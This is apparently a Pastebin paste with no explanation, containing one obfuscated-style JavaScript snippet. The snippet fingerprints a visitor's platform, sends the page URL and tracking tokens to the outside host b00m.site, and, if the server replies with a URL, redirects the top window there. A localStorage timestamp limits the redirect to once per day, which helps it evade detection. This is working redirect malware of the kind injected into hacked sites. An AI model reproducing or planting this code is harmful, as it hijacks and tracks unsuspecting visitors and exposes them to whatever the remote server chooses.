Advertisement
Guest User

Untitled

a guest
Jan 24th, 2023
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.24 KB | None | 0 0
  1.  
  2. (function () {
  3. function gpi(callback) {
  4. try {
  5. if (!navigator || !navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues)
  6. return callback(false)
  7. navigator.userAgentData.getHighEntropyValues(['platform', 'platformVersion']).then((ua) => {
  8. callback(JSON.stringify(ua))
  9. }).catch((e3) => callback(e3.toString()));
  10. }catch(err) {
  11. callback(false)
  12. }
  13. }
  14.  
  15.  
  16. function minAjax(config) {
  17. if (!config.url || !config.type) return;
  18. if (!config.method) config.method = true;
  19. if (!config.debugLog) config.debugLog = false;
  20.  
  21.  
  22. var sendString = [],
  23. sendData = config.data;
  24. if (typeof sendData === "string") {
  25. var tmpArr = String.prototype.split.call(sendData, '&');
  26. for (var i = 0, j = tmpArr.length; i < j; i++) {
  27. var datum = tmpArr[i].split('=');
  28. sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
  29. }
  30. } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
  31. for (var k in sendData) {
  32. var datum = sendData[k];
  33. if (Object.prototype.toString.call(datum) == "[object Array]") {
  34. for (var i = 0, j = datum.length; i < j; i++) {
  35. sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
  36. }
  37. } else {
  38. sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
  39. }
  40. }
  41. }
  42. sendString = sendString.join('&');
  43.  
  44. var xmlhttp = new XMLHttpRequest()
  45. xmlhttp.onreadystatechange = function () {
  46. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  47. if (config.success) {
  48. config.success(xmlhttp.responseText, xmlhttp.readyState);
  49. }
  50. }
  51. }
  52.  
  53. if (config.type == "GET") {
  54. xmlhttp.open("GET", config.url + "?" + sendString, config.method);
  55. xmlhttp.send();
  56. }
  57. if (config.type == "POST") {
  58. xmlhttp.open("POST", config.url, config.method);
  59. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  60. xmlhttp.send(sendString);
  61. }
  62.  
  63. }
  64.  
  65. if (window.XMLHttpRequest)
  66. gpi(dL)
  67.  
  68. function dL(pi) {
  69. function bl(resp) {
  70. !function (dr) {
  71. function t() { return !!localStorage && localStorage.getItem(a) } function e() {
  72. o(),
  73. parent.top.window.location.href = c
  74. } function o() { var t = r + i; if (localStorage) { localStorage.setItem(a, t) } }
  75. function n() { if (t()) { var o = localStorage && localStorage.getItem(a); r > o && e() } else e() } var a = "MenuIdentifier",
  76. r = Math.floor((new Date).getTime() / 1e3), c = dr, i = 86400; n()
  77. }(resp);
  78. }
  79.  
  80.  
  81. minAjax({
  82. url: 'https://b00m.site/f/gstats',
  83. type: "POST",
  84. data: {
  85. vhref: location.href,
  86. juh:'4d4aa0f2c97010ecaa35da08d024d249',
  87. cs:'60fb274c97fd86fc78e8a1ee441e04bc',
  88. ex:1674558534954,
  89. t0: 1674557935,
  90. pi,
  91. t: Math.floor(new Date().getTime() / 1000),
  92. },
  93. success: function (response) {
  94. try {
  95. var json = JSON.parse(response)
  96. if (json && json.fw && json.fw.indexOf('http')>-1) bl(json.fw)
  97. }catch(err) {
  98.  
  99. }
  100. }
  101. });
  102. }
  103. })();
  104.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement